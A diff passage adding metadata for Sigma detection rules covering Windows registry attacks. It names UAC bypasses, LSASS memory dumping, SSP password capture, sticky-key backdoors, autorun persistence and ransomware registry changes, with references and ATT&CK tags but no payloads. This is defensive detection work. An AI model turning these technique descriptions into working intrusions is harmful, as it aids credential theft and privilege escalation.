oscd.community", + "creation_date": "2020/11/15", + "falsepositive": [ + "Legitimate modification of the registry key by legitimate program" + ], + "filename": "registry_event_runonce_persistence.yml", + "level": "medium", + "logsource.category": "registry_event", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/pabraeken/status/990717080805789697", + "https://lolbas-project.github.io/lolbas/Binaries/Runonce/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_runonce_persistence.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1112" + ] + }, + "uuid": "c74d7efc-8826-45d9-b8bb-f04fac9e4eff", + "value": "Run Once Task Configuration in Registry" + }, + { + "description": "Detects the shell open key manipulation (exefile and ms-settings) used for persistence and the pattern of UAC Bypass using fodhelper.exe, computerdefaults.exe, slui.exe via registry keys (e.g. UACMe 33 or 62)", + "meta": { + "author": "Christian Burkard", + "creation_date": "2021/08/30", + "falsepositive": [ + "Unknown" + ], + "filename": "registry_event_shell_open_keys_manipulation.yml", + "level": "high", + "logsource.category": "registry_event", + "logsource.product": "windows", + "refs": [ + "https://github.com/hfiref0x/UACME", + "https://winscripting.blog/2017/05/12/first-entry-welcome-and-uac-bypass/", + "https://github.com/RhinoSecurityLabs/Aggressor-Scripts/tree/master/UACBypass", + "https://tria.ge/211119-gs7rtshcfr/behavioral2 [Lokibot sample from Nov 2021]", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_shell_open_keys_manipulation.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002", + "attack.t1546.001" + ] + }, + "uuid": "152f3630-77c1-4284-bcc0-4cc68ab2f6e7", + "value": "Shell Open Registry Keys Manipulation" + }, + { + "description": "Detects changes to the Registry in which a monitor program gets registered to dump the memory of the lsass.exe process", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/02/26", + "falsepositive": [ + "Unlikely" + ], + "filename": "registry_event_silentprocessexit_lsass.yml", + "level": "critical", + "logsource.category": "registry_event", + "logsource.product": "windows", + "refs": [ + "https://www.deepinstinct.com/2021/02/16/lsass-memory-dumps-are-stealthier-than-ever-before-part-2/", + "https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_silentprocessexit_lsass.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.007" + ] + }, + "uuid": "55e29995-75e7-451a-bef0-6225e2f13597", + "value": "SilentProcessExit Monitor Registration for LSASS" + }, + { + "description": "Detects the addition of a SSP to the registry. Upon a reboot or API call, SSP DLLs gain access to encrypted and plaintext passwords stored in Windows.", + "meta": { + "author": "iwillkeepwatch", + "creation_date": "2019/01/18", + "falsepositive": [ + "Unlikely" + ], + "filename": "registry_event_ssp_added_lsa_config.yml", + "level": "critical", + "logsource.category": "registry_event", + "logsource.product": "windows", + "refs": [ + "https://powersploit.readthedocs.io/en/latest/Persistence/Install-SSP/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_ssp_added_lsa_config.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.005" + ] + }, + "uuid": "eeb30123-9fbd-4ee8-aaa0-2e545bbed6dc", + "value": "Security Support Provider (SSP) Added to LSA Configuration" + }, + { + "description": "Detects the usage and installation of a backdoor that uses an option to register a malicious debugger for built-in tools that are accessible in the login screen", + "meta": { + "author": "Florian Roth, @twjackomo, Jonhnathan Ribeiro, oscd.community", + "creation_date": "2018/03/15", + "falsepositive": [ + "Unlikely" + ], + "filename": "registry_event_stickykey_like_backdoor.yml", + "level": "critical", + "logsource.category": "registry_event", + "logsource.product": "windows", + "refs": [ + "https://blogs.technet.microsoft.com/jonathantrull/2016/10/03/detecting-sticky-key-backdoors/", + "https://bazaar.abuse.ch/sample/6f3aa9362d72e806490a8abce245331030d1ab5ac77e400dd475748236a6cc81/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_stickykey_like_backdoor.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.persistence", + "attack.t1546.008", + "car.2014-11-003", + "car.2014-11-008" + ] + }, + "uuid": "baca5663-583c-45f9-b5dc-ea96a22ce542", + "value": "Sticky Key Like Backdoor Usage" + }, + { + "description": "Detects creation/modification of Assistive Technology applications and persistence with usage of 'at'", + "meta": { + "author": "Mateusz Wydra, oscd.community", + "creation_date": "2020/10/13", + "falsepositive": [ + "Creation of non-default, legitimate at usage" + ], + "filename": "registry_event_susp_atbroker_change.yml", + "level": "medium", + "logsource.category": "registry_event", + "logsource.product": "windows", + "refs": [ + "http://www.hexacorn.com/blog/2016/07/22/beyond-good-ol-run-key-part-42/", + "https://lolbas-project.github.io/lolbas/Binaries/Atbroker/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_susp_atbroker_change.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218", + "attack.persistence", + "attack.t1547" + ] + }, + "uuid": "9577edbb-851f-4243-8c91-1d5b50c1a39b", + "value": "Atbroker Registry Change" + }, + { + "description": "Detects the suspicious RUN keys created by software located in Download or temporary Outlook/Internet Explorer directories", + "meta": { + "author": "Florian Roth", + "creation_date": "2019/10/01", + "falsepositive": [ + "Software installers downloaded and used by users" + ], + "filename": "registry_event_susp_download_run_key.yml", + "level": "high", + "logsource.category": "registry_event", + "logsource.product": "windows", + "refs": [ + "https://app.any.run/tasks/c5bef5b7-f484-4c43-9cf3-d5c5c7839def/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_susp_download_run_key.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.001" + ] + }, + "uuid": "9c5037d1-c568-49b3-88c7-9846a5bdc2be", + "value": "Suspicious Run Key from Download" + }, + { + "description": "Detects a method to load DLL via LSASS process using an undocumented Registry key", + "meta": { + "author": "Florian Roth", + "creation_date": "2019/10/16", + "falsepositive": [ + "Unknown" + ], + "filename": "registry_event_susp_lsass_dll_load.yml", + "level": "high", + "logsource.category": "registry_event", + "logsource.product": "windows", + "refs": [ + "https://blog.xpnsec.com/exploring-mimikatz-part-1/", + "https://twitter.com/SBousseaden/status/1183745981189427200", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_susp_lsass_dll_load.yml" + ], + "tags": [ + "attack.execution", + "attack.persistence", + "attack.t1547.008" + ] + }, + "uuid": "b3503044-60ce-4bf4-bbcb-e3db98788823", + "value": "DLL Load via LSASS" + }, + { + "description": "Detects Processes accessing the camera and microphone from suspicious folder", + "meta": { + "author": "Den Iuzvyk", + "creation_date": "2020/06/07", + "falsepositive": [ + "Unlikely, there could be conferencing software running from a Temp folder accessing the devices" + ], + "filename": "registry_event_susp_mic_cam_access.yml", + "level": "high", + "logsource.category": "registry_event", + "logsource.product": "windows", + "refs": [ + "https://medium.com/@7a616368/can-you-track-processes-accessing-the-camera-and-microphone-7e6885b37072", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_susp_mic_cam_access.yml" + ], + "tags": [ + "attack.collection", + "attack.t1125", + "attack.t1123" + ] + }, + "uuid": "62120148-6b7a-42be-8b91-271c04e281a3", + "value": "Suspicious Camera and Microphone Access" + }, + { + "description": "Alerts on trust record modification within the registry, indicating usage of macros", + "meta": { + "author": "Antonlovesdnb", + "creation_date": "2020/02/19", + "falsepositive": [ + "Alerts on legitimate macro usage as well, will need to filter as appropriate" + ], + "filename": "registry_event_trust_record_modification.yml", + "level": "medium", + "logsource.category": "registry_event", + "logsource.product": "windows", + "refs": [ + "https://outflank.nl/blog/2018/01/16/hunting-for-evil-detect-macros-being-executed/", + "http://az4n6.blogspot.com/2016/02/more-on-trust-records-macros-and.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_trust_record_modification.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1566.001" + ] + }, + "uuid": "295a59c1-7b79-4b47-a930-df12c15fc9c2", + "value": "Windows Registry Trust Record Modification" + }, + { + "description": "Windows telemetry makes use of the binary CompatTelRunner.exe to run a variety of commands and perform the actual telemetry collections.\nThis binary was created to be easily extensible, and to that end, it relies on the registry to instruct on which commands to run.\nThe problem is, it will run any arbitrary command without restriction of location or type.\n", + "meta": { + "author": "Sreeman", + "creation_date": "2020/09/29", + "falsepositive": [ + "Unknown" + ], + "filename": "registry_set_abusing_windows_telemetry_for_persistence.yml", + "level": "high", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://www.trustedsec.com/blog/abusing-windows-telemetry-for-persistence/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_abusing_windows_telemetry_for_persistence.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.persistence", + "attack.t1112", + "attack.t1053" + ] + }, + "uuid": "4e8d5fd3-c959-441f-a941-f73d0cdcdca5", + "value": "Abusing Windows Telemetry For Persistence" + }, + { + "description": "Detect modification for a specific user to prevent that user from being listed on the logon screen", + "meta": { + "author": "frack113", + "creation_date": "2022/08/20", + "falsepositive": [ + "Unknown" + ], + "filename": "registry_set_add_hidden_user.yml", + "level": "high", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1564.002/T1564.002.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_add_hidden_user.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1564.002" + ] + }, + "uuid": "8a58209c-7ae6-4027-afb0-307a78e4589a", + "value": "User Account Hidden By Registry" + }, + { + "description": "Detects the modification of the registry to allow a driver or service to persist in Safe Mode.", + "meta": { + "author": "frack113", + "creation_date": "2022/04/04", + "falsepositive": [ + "Unknown" + ], + "filename": "registry_set_add_load_service_in_safe_mode.yml", + "level": "high", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md#atomic-test-33---windows-add-registry-value-to-load-service-in-safe-mode-without-network", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md#atomic-test-34---windows-add-registry-value-to-load-service-in-safe-mode-with-network", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_add_load_service_in_safe_mode.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1564.001" + ] + }, + "uuid": "1547e27c-3974-43e2-a7d7-7f484fb928ec", + "value": "Registry Persitence via Service in Safe Mode" + }, + { + "description": "Adversaries may use port monitors to run an attacker supplied DLL during system boot for persistence or privilege escalation.\nA port monitor can be set through the AddMonitor API call to set a DLL to be loaded at startup.\n", + "meta": { + "author": "frack113", + "creation_date": "2021/12/30", + "falsepositive": [ + "Unknown" + ], + "filename": "registry_set_add_port_monitor.yml", + "level": "high", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.010/T1547.010.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_add_port_monitor.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.010" + ] + }, + "uuid": "944e8941-f6f6-4ee8-ac05-1c224e923c0e", + "value": "Add Port Monitor Persistence in Registry" + }, + { + "description": "Detects when an attacker adds a new \"Debugger\" value to the \"AeDebug\" key in order to achieve persistence which will get invoked when an application crashes", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/07/21", + "falsepositive": [ + "Legitimate use of the key to setup a debugger. Which is often the case on developers machines" + ], + "filename": "registry_set_aedebug_persistence.yml", + "level": "medium", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://persistence-info.github.io/Data/aedebug.html", + "https://docs.microsoft.com/en-us/windows/win32/debug/configuring-automatic-debugging", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_aedebug_persistence.yml" + ], + "tags": [ + "attack.persistence" + ] + }, + "uuid": "092af964-4233-4373-b4ba-d86ea2890288", + "value": "Add Debugger Entry To AeDebug For Persistence" + }, + { + "description": "Detect enable rdp feature to allow specific user to rdp connect on the targeted machine", + "meta": { + "author": "frack113", + "creation_date": "2022/08/19", + "falsepositive": [ + "Legitmate use of the feature (alerts should be investigated either way)" + ], + "filename": "registry_set_allow_rdp_remote_assistance_feature.yml", + "level": "medium", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1112/T1112.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_allow_rdp_remote_assistance_feature.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1112" + ] + }, + "uuid": "37b437cf-3fc5-4c8e-9c94-1d7c9aff842b", + "value": "Allow RDP Remote Assistance Feature" + }, + { + "description": "Detects modification of autostart extensibility point (ASEP) in registry.", + "meta": { + "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)", + "creation_date": "2019/10/25", + "falsepositive": [ + "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", + "Legitimate administrator sets up autorun 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"attack.persistence", + "attack.t1547.001" + ] + }, + "uuid": "f59c3faf-50f3-464b-9f4c-1b67ab512d99", + "value": "Common Autorun Keys Modification" + }, + { + "description": "Detects modification of autostart extensibility point (ASEP) in registry.", + "meta": { + "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)", + "creation_date": "2019/10/25", + "falsepositive": [ + "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", + "Legitimate administrator sets up autorun keys for legitimate reason" + ], + "filename": "registry_set_asep_reg_keys_modification_currentcontrolset.yml", + "level": "medium", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", + "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", + "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_currentcontrolset.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.001" + ] + }, + "uuid": "f674e36a-4b91-431e-8aef-f8a96c2aca35", + "value": "CurrentControlSet Autorun Keys Modification" + }, + { + "description": "Detects modification of autostart extensibility point (ASEP) in registry.", + "meta": { + "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)", + "creation_date": "2019/10/25", + "falsepositive": [ + "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", + "Legitimate administrator sets up autorun keys for legitimate reason" + ], + "filename": "registry_set_asep_reg_keys_modification_currentversion.yml", + "level": "medium", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", + "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", + "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", + "https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_currentversion.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.001" + ] + }, + "uuid": "20f0ee37-5942-4e45-b7d5-c5b5db9df5cd", + "value": "CurrentVersion Autorun Keys Modification" + }, + { + "description": "Detects modification of autostart extensibility point (ASEP) in registry.", + "meta": { + "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)", + "creation_date": "2019/10/25", + "falsepositive": [ + "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", + "Legitimate administrator sets up autorun keys for legitimate reason" + ], + "filename": "registry_set_asep_reg_keys_modification_currentversion_nt.yml", + "level": "medium", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", + "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", + "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_currentversion_nt.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.001" + ] + }, + "uuid": "cbf93e5d-ca6c-4722-8bea-e9119007c248", + "value": "CurrentVersion NT Autorun Keys Modification" + }, + { + "description": "Detects modification of autostart extensibility point (ASEP) in registry.", + "meta": { + "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)", + "creation_date": "2019/10/25", + "falsepositive": [ + "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", + "Legitimate administrator sets up autorun keys for legitimate reason" + ], + "filename": "registry_set_asep_reg_keys_modification_internet_explorer.yml", + "level": "medium", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", + "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", + "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_internet_explorer.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.001" + ] + }, + "uuid": "a80f662f-022f-4429-9b8c-b1a41aaa6688", + "value": "Internet Explorer Autorun Keys Modification" + }, + { + "description": "Detects modification of autostart extensibility point (ASEP) in registry.", + "meta": { + "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)", + "creation_date": "2019/10/25", + "falsepositive": [ + "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", + "Legitimate administrator sets up autorun keys for legitimate reason" + ], + "filename": "registry_set_asep_reg_keys_modification_office.yml", + "level": "medium", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", + "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", + "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_office.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.001" + ] + }, + "uuid": "baecf8fb-edbf-429f-9ade-31fc3f22b970", + "value": "Office Autorun Keys Modification" + }, + { + "description": "Detects modification of autostart extensibility point (ASEP) in registry.", + "meta": { + "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)", + "creation_date": "2019/10/25", + "falsepositive": [ + "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", + "Legitimate administrator sets up autorun keys for legitimate reason" + ], + "filename": "registry_set_asep_reg_keys_modification_session_manager.yml", + "level": "medium", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", + "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", + "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_session_manager.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.001", + "attack.t1546.009" + ] + }, + "uuid": "046218bd-e0d8-4113-a3c3-895a12b2b298", + "value": "Session Manager Autorun Keys Modification" + }, + { + "description": "Detects modification of autostart extensibility point (ASEP) in registry.", + "meta": { + "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)", + "creation_date": "2019/10/25", + "falsepositive": [ + "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", + "Legitimate administrator sets up autorun keys for legitimate reason" + ], + "filename": "registry_set_asep_reg_keys_modification_system_scripts.yml", + "level": "medium", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", + "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", + "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_system_scripts.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.001" + ] + }, + "uuid": "e7a2fd40-3ae1-4a85-bf80-15cf624fb1b1", + "value": "System Scripts Autorun Keys Modification" + }, + { + "description": "Detects modification of autostart extensibility point (ASEP) in registry.", + "meta": { + "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)", + "creation_date": "2019/10/25", + "falsepositive": [ + "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", + "Legitimate administrator sets up autorun keys for legitimate reason" + ], + "filename": "registry_set_asep_reg_keys_modification_winsock2.yml", + "level": "medium", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", + "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", + "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_winsock2.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.001" + ] + }, + "uuid": "d6c2ce7e-afb5-4337-9ca4-4b5254ed0565", + "value": "WinSock2 Autorun Keys Modification" + }, + { + "description": "Detects modification of autostart extensibility point (ASEP) in registry.", + "meta": { + "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)", + "creation_date": "2019/10/25", + "falsepositive": [ + "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", + "Legitimate administrator sets up autorun keys for legitimate reason" + ], + "filename": "registry_set_asep_reg_keys_modification_wow6432node.yml", + "level": "medium", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", + "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", + "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", + "https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_wow6432node.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.001" + ] + }, + "uuid": "b29aed60-ebd1-442b-9cb5-16a1d0324adb", + "value": "Wow6432Node CurrentVersion Autorun Keys Modification" + }, + { + "description": "Detects modification of autostart extensibility point (ASEP) in registry.", + "meta": { + "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)", + "creation_date": "2019/10/25", + "falsepositive": [ + "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", + "Legitimate administrator sets up autorun keys for legitimate reason" + ], + "filename": "registry_set_asep_reg_keys_modification_wow6432node_classes.yml", + "level": "medium", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", + "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", + "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_wow6432node_classes.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.001" + ] + }, + "uuid": "18f2065c-d36c-464a-a748-bcf909acb2e3", + "value": "Wow6432Node Classes Autorun Keys Modification" + }, + { + "description": "Detects modification of autostart extensibility point (ASEP) in registry.", + "meta": { + "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)", + "creation_date": "2019/10/25", + "falsepositive": [ + "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", + "Legitimate administrator sets up autorun keys for legitimate reason" + ], + "filename": "registry_set_asep_reg_keys_modification_wow6432node_currentversion.yml", + "level": "medium", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", + "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", + "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_wow6432node_currentversion.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.001" + ] + }, + "uuid": "480421f9-417f-4d3b-9552-fd2728443ec8", + "value": "Wow6432Node CurrentVersion Autorun Keys Modification" + }, + { + "description": "BlackByte set three different registry values to escalate privileges and begin setting the stage for lateral movement and encryption", + "meta": { + "author": "frack113", + "creation_date": "2022/01/24", + "falsepositive": [ + "Unknown" + ], + "filename": "registry_set_blackbyte_ransomware.yml", + "level": "high", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://redcanary.com/blog/blackbyte-ransomware/?utm_source=twitter&utm_medium=social", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/blackbyte-ransomware-pt-1-in-depth-analysis/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_blackbyte_ransomware.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1112" + ] + }, + "uuid": "83314318-052a-4c90-a1ad-660ece38d276", + "value": "Blackbyte Ransomware Registry" + }, + { + "description": "Bypasses User Account Control using a fileless method", + "meta": { + "author": "frack113", + "creation_date": "2022/01/05", + "falsepositive": [ + "Unknown" + ], + "filename": "registry_set_bypass_uac_using_delegateexecute.yml", + "level": "high", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://docs.microsoft.com/en-us/windows/win32/api/shobjidl_core/nn-shobjidl_core-iexecutecommand", + "https://devblogs.microsoft.com/oldnewthing/20100312-01/?p=14623", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1548.002/T1548.002.md#atomic-test-7---bypass-uac-using-sdclt-delegateexecute", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_bypass_uac_using_delegateexecute.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.defense_evasion", + "attack.t1548.002" + ] + }, + "uuid": "46dd5308-4572-4d12-aa43-8938f0184d4f", + "value": "Bypass UAC Using DelegateExecute" + }, + { + "description": "Bypasses User Account Control using Event Viewer and a relevant Windows Registry modification", + "meta": { + "author": "frack113", + "creation_date": "2022/01/05", + "falsepositive": [ + "Unknown" + ], + "filename": "registry_set_bypass_uac_using_eventviewer.yml", + "level": "high", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1548.002/T1548.002.md#atomic-test-1---bypass-uac-using-event-viewer-cmd", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_bypass_uac_using_eventviewer.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.010" + ] + }, + "uuid": "674202d0-b22a-4af4-ae5f-2eda1f3da1af", + "value": "Bypass UAC Using Event Viewer" + }, + { + "description": "There is an auto-elevated task called SilentCleanup located in 